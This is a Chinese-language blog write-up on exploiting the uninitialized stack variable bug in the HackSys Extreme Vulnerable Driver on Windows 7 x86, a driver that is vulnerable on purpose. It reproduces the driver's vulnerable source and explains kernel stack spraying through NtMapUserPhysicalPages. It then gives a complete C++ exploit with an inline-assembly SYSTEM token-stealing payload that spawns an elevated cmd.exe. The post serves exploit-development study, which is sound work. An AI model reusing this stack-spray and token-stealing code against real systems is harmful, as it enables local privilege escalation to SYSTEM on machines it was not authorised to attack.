selph
selph
发布于 2022-06-13 / 268 阅读
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漏洞分析:HEVD-06.UninitializedStackVariable[win7x86]

前言

窥探Ring0漏洞世界:未初始化栈变量漏洞

上一篇探讨了空指针解引用漏洞的利用,这里来探讨另一种漏洞,未初始化栈变量漏洞,未初始化变量本身是没啥事的,但如果这个变量结构里存储了会拿出来执行的东西(回调函数啥的),那就是另一回事了

实验环境:

  • 虚拟机:Windows 7 x86
  • 物理机:Windows 10 x64
  • 软件:IDA,Windbg,VS2022

漏洞分析

老样子,先IDA找到该漏洞的触发函数TriggerUninitializedMemoryStack,分析函数是如何存在漏洞的

首先是取出了用户提供的指针里的值,保存到ebx:

image.png

然后紧接着判断该值是否为魔数0BAD0B0B0h,是的话,就将该值和一个函数地址保存到了栈中一个结构体里,如果不是的话,则不进行操作,然后进行判断,判断栈中的这个变量是否有值,如果有值,且为固定这个函数的地址的话,就执行这个函数

image.png

如果该位置有值,且不是固定函数地址的话,就去把这个值当函数去调用:

image.png

驱动源码:

/// <summary>
/// Trigger the uninitialized memory in Stack Vulnerability
/// </summary>
/// <param name="UserBuffer">The pointer to user mode buffer</param>
/// <returns>NTSTATUS</returns>
NTSTATUS
TriggerUninitializedMemoryStack(
    _In_ PVOID UserBuffer
)
{
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;

#ifdef SECURE
    //
    // Secure Note: This is secure because the developer is properly initializing
    // UNINITIALIZED_MEMORY_STACK to NULL and checks for NULL pointer before calling
    // the callback
    //

    UNINITIALIZED_MEMORY_STACK UninitializedMemory = { 0 };
#else
    //
    // Vulnerability Note: This is a vanilla Uninitialized Memory in Stack vulnerability
    // because the developer is not initializing 'UNINITIALIZED_MEMORY_STACK' structure
    // before calling the callback when 'MagicValue' does not match 'UserValue'
    //

    UNINITIALIZED_MEMORY_STACK UninitializedMemory;
#endif

    PAGED_CODE();

    __try
    {
        //
        // Verify if the buffer resides in user mode
        //

        ProbeForRead(UserBuffer, sizeof(UNINITIALIZED_MEMORY_STACK), (ULONG)__alignof(UCHAR));

        //
        // Get the value from user mode
        //

        UserValue = *(PULONG)UserBuffer;

        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] UninitializedMemory Address: 0x%p\n", &UninitializedMemory);

        //
        // Validate the magic value
        //

        if (UserValue == MagicValue) {
            UninitializedMemory.Value = UserValue;
            UninitializedMemory.Callback = &UninitializedMemoryStackObjectCallback;
        }

        DbgPrint("[+] UninitializedMemory.Value: 0x%p\n", UninitializedMemory.Value);
        DbgPrint("[+] UninitializedMemory.Callback: 0x%p\n", UninitializedMemory.Callback);

#ifndef SECURE
        DbgPrint("[+] Triggering Uninitialized Memory in Stack\n");
#endif

        //
        // Call the callback function
        //

        if (UninitializedMemory.Callback)
        {
            UninitializedMemory.Callback();
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

可见,这里的安全版本和不安全版本的区别仅在是否初始化了局部变量,其实不初始化似乎也没啥问题,这里出问题的关键在于该变量中保存了回调函数,然后还被调用了,从而导致了漏洞

如果输入的是错误的值(非魔数),且能控制回调地址,就能执行shellcode。

漏洞利用

那么问题来了,要如何去控制回调地址呢?未初始化的局部变量会保存在栈中,且值是不可预测的,栈中存的是什么值那变量就是什么值

参考[1],控制栈中的值,需要做这些准备:

  1. 找到内核栈初始化地址
  2. 找到回调地址所在内核栈初始化地址的偏移量
  3. 通过在用户模式下用户可控输入喷射内核栈(参考资料[2])

内核栈喷射

根据参考资料[2],有一个未文档化的函数NtMapUserPhysicalPages可以喷射一大块数据到内核栈里:

NTSTATUS
 NtMapUserPhysicalPages (
   __in PVOID VirtualAddress,
   __in ULONG_PTR NumberOfPages,
   __in_ecount_opt(NumberOfPages) PULONG_PTR UserPfnArray
 )
(...)
  ULONG_PTR StackArray[COPY_STACK_SIZE]; // COPY_STACK_SIZE = 1024

这里头有一片栈空间的缓冲区数组,大小是1024*sizeof(ULONG_PTR)

该函数最后,如果NumberOfPages变量不大于1024的话,会使用该栈缓冲区地址去调用:MiCaptureUlongPtrArray函数

PoolArea = (PVOID)&StackArray[0];
 
(...)
 
  if (NumberOfPages > COPY_STACK_SIZE) {
    PoolArea = ExAllocatePoolWithTag (NonPagedPool,
                                      NumberOfBytes,
                                      'wRmM');
 
    if (PoolArea == NULL) {
      return STATUS_INSUFFICIENT_RESOURCES;
    }
  }
 
(...)
 
  Status = MiCaptureUlongPtrArray (PoolArea,
                                   UserPfnArray,
                                   NumberOfPages);

使用IDA打开Windows7 x86内核文件ntkrnlpa查找该调用:

image.png

因为该函数是fastcall调用,在x86下fastcall调用会优先使用ecx和edx传参,多余的参数才使用栈,也就是说传递的参数依次是:NumberOfPages,UserPfnArray,栈缓冲区的地址

然后MiCaptureUlongPtrArray的实现如下:

int __fastcall MiCaptureUlongPtrArray(int a1, unsigned int a2, void *a3)
{
  size_t v3; // ecx

  v3 = 4 * a1;
  if ( v3 )
  {
    if ( (a2 & 3) != 0 )
      ExRaiseDatatypeMisalignment();
    if ( v3 + a2 > MmUserProbeAddress || v3 + a2 < a2 )
      *(_BYTE *)MmUserProbeAddress = 0;
  }
  memcpy(a3, (const void *)a2, v3);
  return 0;
}

NtMapUserPhysicalPages函数里将往栈缓冲区里填充用户传来的数据

到此,可以知道,只需要向调用NtMapUserPhysicalPages函数,提供第二个参数是大小,第三个参数是用户缓冲区,即可实现在栈中进行喷射,接下来进行编写exp实现利用

编写exp

还是用之前的模板改一改,通过函数可以实现对内核栈的提前布置,然后再用非魔数的输入去调用漏洞函数,使得未初始化的变量里填充的是我们布置的值,从而完成利用:

#include <iostream>
#include <Windows.h>

// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET     0x124  // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET    0x050  // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET         0x0B4  // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET       0x0B8  // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET       0x0F8  // nt!_EPROCESS.Token
#define SYSTEM_PID         0x004  // SYSTEM Process PID

typedef NTSTATUS(WINAPI* NtMapUserPhysicalPages_t)(IN PVOID          VirtualAddress,
    IN ULONG_PTR      NumberOfPages,
    IN OUT PULONG_PTR UserPfnArray);

VOID TokenStealingPayloadWin7() {
    // Importance of Kernel Recovery
    __asm {
        pushad

        ; 获取当前进程EPROCESS
        xor eax, eax
        mov eax, fs: [eax + KTHREAD_OFFSET]
        mov eax, [eax + EPROCESS_OFFSET]
        mov ecx, eax

        ; 搜索system进程EPROCESS
        mov edx, SYSTEM_PID
        SearchSystemPID :
        mov eax, [eax + FLINK_OFFSET]
            sub eax, FLINK_OFFSET
            cmp[eax + PID_OFFSET], edx
            jne SearchSystemPID

            ; token窃取
            mov edx, [eax + TOKEN_OFFSET]
            mov[ecx + TOKEN_OFFSET], edx

            ; 环境还原 + 返回
            popad
    }
}

int main()
{

    ULONG UserBufferSize = 1024*sizeof(ULONG_PTR);
    PVOID EopPayload = &TokenStealingPayloadWin7;

    HANDLE hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);

    PULONG UserBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);

    //RtlFillMemory(UserBuffer, UserBufferSize, 'A');
    for (int i = 0; i < UserBufferSize / sizeof(ULONG_PTR); i++){
        UserBuffer[i] = (ULONG)EopPayload;
    }

    // 布置内核栈
    NtMapUserPhysicalPages_t      NtMapUserPhysicalPages;
    NtMapUserPhysicalPages = (NtMapUserPhysicalPages_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"),"NtMapUserPhysicalPages");
    NtMapUserPhysicalPages(NULL, 1024, UserBuffer);


    ULONG WriteRet = 0;
    DeviceIoControl(hDevice, 0x22202f, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);

    HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
    UserBuffer = NULL;

    system("pause");
    system("cmd.exe");

    return 0;
}

截图演示

image.png

参考资料


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